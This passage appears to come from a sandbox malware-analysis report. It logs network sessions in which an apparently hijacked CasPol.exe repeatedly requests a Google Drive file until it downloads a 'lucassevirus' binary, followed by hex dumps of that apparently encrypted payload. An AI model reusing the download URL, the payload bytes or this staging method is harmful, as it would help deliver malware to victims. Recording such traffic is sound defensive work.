2022-04-20 13:31:17 UTC	22	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:17 UTC	23	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49780	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:18 UTC	23	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:23 UTC	24	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:23 UTC	24	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:23 UTC	25	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49782	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:23 UTC	25	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:32 UTC	25	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:32 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:32 UTC	25	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:32 UTC	26	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49783	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:32 UTC	26	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:39 UTC	27	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:39 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:39 UTC	27	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:39 UTC	28	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49784	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:39 UTC	28	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:40 UTC	28	IN	HTTP/1.1 303 See Other Content-Type: application/binary Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 20 Apr 2022 13:31:40 GMT Location: https://doc-0c-74-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605//1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-xYU5LrlI8Yscme3mnYZlPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49785	142.250.186.97	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:40 UTC	30	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0c-74-docs.googleusercontent.com Connection: Keep-Alive
2022-04-20 13:31:40 UTC	30	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycduIjyuaT_cCvYhZUicMUWU8EpPSFrTWIXHq0T7jLACfKg9usji9fl_bBaDD9223DwByFtyb6L7U_oLWzZOctnlJPQ Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="lucassevirus(1)_ZVXYA49.bin";filename*=UTF-8''lucassevirus%281%29_ZVXYA49.bin Content-Length: 214592 Date: Wed, 20 Apr 2022 13:31:40 GMT Expires: Wed, 20 Apr 2022 13:31:40 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=ZOdGUw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:40 UTC	34	IN	Data Raw: 8e 91 4f 31 1a 7d b4 ad 16 d9 82 2a 8f 2e 65 72 29 9b 48 8b 09 eb ae cc 59 54 9b 58 28 75 e8 a1 fb 7e 8f ba 50 8e 05 aa a0 f0 8f 9c 13 32 08 57 a5 31 d8 11 d8 83 90 e7 bb 39 f2 6c 88 6e ef f5 e8 55 dd 05 b7 43 8b 11 24 3a c6 b2 fe 8c 86 77 6a 07 3b eb 4a e0 c6 ba 7a 5e 5f 19 15 de 93 18 d0 14 c0 62 a3 df aa 67 f6 49 de 42 1b 68 7d c4 27 28 46 0a a8 0d da 6f 7e 0f 3e 9e d8 76 3d c2 82 79 1a 4b 26 06 40 d2 6e 30 d6 03 3e da f3 42 15 46 90 12 53 20 9f 6e 63 73 0b 27 5a bb b5 2f 17 a2 c8 68 12 35 41 0a 65 e0 ef b9 a1 ba b8 87 2b 43 10 fe a7 8b 9b 7f 25 c6 a2 3f 5f b7 dd 12 79 d2 3e e0 4c 29 09 52 12 7f ab 12 33 2b ba 33 01 51 3d 6c a1 a7 22 d2 d5 99 33 26 27 e4 9a f7 94 54 45 5f 2c 4d 2a 3c a6 7a 62 1c 5f de 1f 22 2d 5f 02 04 62 62 88 3d 07 8b 54 fa 75 83 22 Data Ascii: O1}.er)HYTX(u~P2W19lnUC$:wj;Jz^_bgIBh}'(Fo~>v=yK&@n0>BFS ncs'Z/h5Ae+C%?_y>L)R3+3Q=l"3&'TE_,M<zb_"-_bb=Tu"
2022-04-20 13:31:40 UTC	38	IN	Data Raw: 9f aa d2 f5 a5 ec 0a 3b a7 c4 6f 34 8e 8e d3 22 ce 3f 90 20 70 19 4a 4e 97 c1 56 84 a5 f1 06 78 42 08 fa 01 5e 33 84 c4 1b e0 a5 76 db f1 4a f6 dc e1 ef d5 68 eb 85 0d 6f a1 76 ac 14 23 9a 48 28 dd bb da bf 8c 29 e1 01 9f ea 4c c1 c5 41 a0 cc e8 55 cc b8 00 d7 ac b9 b1 3d ea 08 df 72 16 86 54 c3 11 e8 e1 21 ef 9e b0 ea 37 de 59 ae 8e 88 ba 2c a6 b6 7b 9d 2f f6 91 52 4f 4a 85 1b 76 0c 41 7f 42 53 95 82 78 47 09 6d 49 b3 09 86 2f 1d d4 57 4d f1 68 2a b2 3b 64 c6 3e 84 eb ce d3 5c cc 49 d0 fb f4 d9 3e 86 cc 5b 62 68 14 95 b5 63 87 bd 10 45 ec c7 c9 ce fc b7 72 9f 15 d7 5a c5 22 f8 96 58 4e da a0 03 52 55 2c c0 31 0b 7a d2 c7 d1 e1 e4 b9 f9 f5 93 03 38 34 8e f1 a4 f7 a1 a5 0f 4d 05 b4 53 8b 11 20 55 c4 b2 01 0c 84 77 d2 67 3b eb 4a fd c6 ba 3b 4d 6f 1a 15 17 Data Ascii: ;o4"? pJNVxB^3vJhov#H()LAU=rT!7Y,{/ROJvABSxGmI/WMh*;d>\I>[bhcErZ"XNRU,1z84MS Uwg;J;Mo
2022-04-20 13:31:40 UTC	41	IN	Data Raw: 2c 88 e6 5b 30 34 00 66 b1 71 c1 74 06 98 84 50 13 6f 61 90 9b 1f 36 23 3b da 7a 0b 0f db 25 b2 63 07 2d d3 c1 18 7d 83 00 9b bd 09 2f 65 46 f5 c2 91 57 50 c9 e5 a6 ee 0f 19 6d 49 e0 48 d6 14 77 c3 29 43 82 ac 33 f1 fc 62 15 29 e6 1f de 9a a4 56 58 5f 61 8f 2c 13 58 49 99 e1 76 14 59 ba cc f7 a1 0c 3c 9d 86 a7 78 33 21 c1 61 61 cb 93 ba 32 cd 95 67 5e 12 3b 5c 7e 1c 0a 26 9d 98 7f 9f 71 13 63 70 8a 1f 68 4b 06 6f 0d 04 37 d4 25 f3 bd ae 65 65 94 c6 3c 57 b0 c6 08 af f9 5a 2e d9 95 bb d2 b2 84 ee 0a 37 9c e4 7e 32 99 ad b1 31 c5 b7 0f 67 04 19 4c 42 ae 94 39 2e af d9 5d 55 ec dc c4 3a 4a 46 bb c6 33 c2 89 7a c0 8a 6d cf dc eb 90 a6 35 eb 81 2f ec b2 70 ad 2a 6d 16 ff 41 c6 f1 da b5 ae a5 c1 03 99 ff 61 9b c0 44 a9 c9 fe 7c 4f d2 02 dd a7 b9 ac 3d ea 08 fe Data Ascii: ,[04fqtPoa6#;z%c-}/eFWPmIHw)C3b)VX_a,XIvY<x3!aa2g^;\~&qcphKo7%ee<WZ.7~21gLB9.]U:JF3zm5/p*mAaD\|O=
2022-04-20 13:31:40 UTC	45	IN	Data Raw: d4 c6 2f b9 14 cb 98 fa 37 10 2c 53 28 7b e9 32 5b 09 ea 16 75 c0 5d 89 9f ea c3 2f 0f d1 55 d5 86 c6 74 96 7c 7b 2a cf ef a1 91 0e 63 58 30 67 77 bc 49 c6 8e b4 3e 7c b0 6a 8b f8 12 77 27 3b e0 db ec 58 f0 1c 99 19 90 d2 83 09 0d 6e 62 79 28 21 d1 9d f2 3e f0 a3 3c e8 d8 fa a1 68 37 04 82 1a 85 ba b2 5d 7c 3e 05 f1 9f 50 5a 6e 90 54 fc ab f7 a2 be 25 a2 e8 94 9f f6 46 24 33 8e 28 93 93 c7 1e 05 da 63 a7 c8 6f 88 1a b3 a7 33 0c b8 4a 24 3f 1d 94 24 5c e1 7c 48 ff 40 12 5e 31 f4 78 8e ce fb 90 25 02 5a 83 67 d6 56 f4 ca 84 5a 1e 70 4b 74 fe 1f 30 3f c2 e1 7a 0b 0f dc 39 b7 7c 07 13 d1 c1 14 5d 80 79 9c a9 2b 8d 16 46 f3 de 0d 58 78 43 e6 b2 fc 74 41 f5 49 ea 53 ca 2b d6 aa 29 45 9e 30 3c d9 95 63 01 37 9d 5d 46 9a ae 4d 78 21 12 8f 26 15 43 5b 99 8d 76 14 Data Ascii: /7,S({2[u]/Ut\|{*cX0gwI>\|jw';Xnby(!><h7]\|>PZnT%F$3(co3J$?$\\|H@^1x%ZgVZpKt0?z9\|]y+FXxCtAIS+)E0<c7]FMx!&C[v
2022-04-20 13:31:40 UTC	46	IN	Data Raw: 3c 82 b4 c2 f4 d9 25 3b 9d 8c c9 ce 22 30 da 64 5d 3e d8 ab 20 00 22 76 4a 0c 07 d3 e6 1c 00 3f 85 a1 a6 9a 67 12 fa 4a e2 6b 68 4a 1f 75 0d 1a 2f f9 ea fd d2 00 c7 74 8c fa 81 43 98 54 1b a5 db 23 3f d9 9f a0 cb d1 c0 fd 01 2c 83 fb 47 e8 8a a6 a1 38 43 3e b8 08 71 0a 5e 59 ad 96 7e 5a ad d9 51 da 53 10 c5 03 a4 32 82 c0 91 d2 b7 62 c5 8a 30 6e dc eb 9b e1 cf eb 81 2f 22 a8 5e 45 3c 6a 92 64 33 a3 fa cb bb b7 16 d2 08 8c e8 75 86 ed 1e a8 c7 fc 7c 4a d2 02 dd 82 36 fd 3d e0 11 f2 13 04 e9 f8 eb 5f e2 db c1 39 12 4d 34 27 e7 62 db b7 8e 92 59 88 ba 6c a5 72 cf 91 54 90 45 f0 36 76 06 97 0a bb de 8d 88 6b 4b 2d 9f 5e cd 12 8b 3e 14 7e 4e 5f f1 3e 28 b2 37 a9 26 26 ac aa c3 0d 5a d6 56 fd 82 ff d4 51 df e4 17 68 b4 0f 30 ab 09 48 cb 12 4f f9 6d d0 d2 8b c5 Data Ascii: <%;"0d]> "vJ?gJkhJu/tCT#?,G8C>q^Y~ZQS2b0n/"^E<jd3u\|J6=_9M4'bYlrTE6vkK-^>~N_>(7&&ZVQh0HOm
2022-04-20 13:31:40 UTC	47	IN	Data Raw: 08 fc 22 ef f6 86 e1 4c f8 a9 5d 16 d1 24 fe c1 a7 42 7f 48 34 4e a9 2d 85 e3 8c e0 e8 0b 96 2d e8 f4 39 ae 36 7c 98 fa 3d 56 24 7b ed 7b e9 34 4d 3d ed 16 75 c8 4b 9d 8b 00 59 2f 0f ca 41 fd 4f c4 74 90 6b e5 1d cc ef e0 82 0a 72 54 26 71 ea f8 42 ed 94 16 28 6f 5a 7f b1 ed 22 e1 27 3c fc 22 f9 5c 37 09 92 1f 81 47 7a 08 21 6d 5d 6f 17 ea 4a 8b f1 ba 53 a3 0c ea d8 f6 9e ac 32 04 84 65 a4 be a3 53 05 63 89 a3 95 3f 88 cc 81 5a c2 c9 92 fc 96 b8 a4 c0 de 98 e2 68 f5 b1 be 2e 85 1a d4 9e 34 db 77 b7 c8 c7 22 1a b3 a9 0d 24 73 5b 14 3b 0a 3e 23 5c e1 56 5b fb 40 00 43 0d 63 2a 89 d9 04 33 18 04 56 9c 71 c6 68 97 cb a8 52 0e 6f 63 bf e4 e1 37 05 4d cd 78 20 ed b6 01 a3 6b 2b a5 d1 d2 2e 79 ab a8 9b bd 03 6c 14 46 e4 de 8b 67 06 43 e7 a6 e8 67 7e 93 48 c6 5b Data Ascii: "L]$BH4N--96\|=V${{4M=uKY/AOtkrT&qB(oZ"'<"\7Gz!m]oJS2eSc?Zh.4w"$s[;>#\V[@Cc*3VqhRoc7Mx k+.ylFgCg~H[
2022-04-20 13:31:40 UTC	49	IN	Data Raw: 2d ab bd b0 ce 56 c7 5f 73 9a e0 d5 3e 8a fb 18 9c 69 32 20 c3 73 af cb 16 3b d8 65 c1 d0 aa 89 72 9f 1b f5 5b de 20 5e 81 54 3c c7 a8 15 a8 f6 08 ea 6b 07 7a d0 f0 93 1f e5 9f d3 f0 96 3b 4b 14 71 24 cf eb b2 95 0c 4d 7f b4 43 8b 20 20 3a d7 a4 0c 4b e1 77 d2 07 3b e2 50 1e c7 96 20 20 72 19 15 da fc 1d d1 14 ca 1c 84 df aa 63 f1 d3 b1 83 1b 68 77 e8 6d 33 4b 0a a1 14 24 6e 52 0b 15 dd 42 7b 3d cb 97 98 a1 69 22 a5 63 03 42 88 de 57 0d fa 8b 24 6a 4b 97 62 21 4b 76 ab 15 c4 27 4f 22 d8 db 49 74 7c ab 21 30 5f 39 64 4c 9f 7f 98 c9 f7 fc aa 46 25 68 65 88 aa 94 5e 03 ed 35 38 48 61 d6 15 21 a6 a8 f6 2a 28 0a 41 b2 7c e5 d6 33 2b ba 01 01 51 2c 7a 52 a3 18 5c de 98 38 26 36 dc 8e 09 95 70 46 47 3f 49 2a 2d 1c 3d 9f 1d 73 fb 08 08 30 4c 06 04 73 66 d3 c3 06 Data Ascii: -V_s>i2 s;er[ ^T<kz;Kq$MC :Kw;P rchwm3K$nRB{=i"cBW$jKb!Kv'O"It\|!0_9dLF%he^58Ha!(A\|3+Q,zR\8&6pFG?I-=s0Lsf
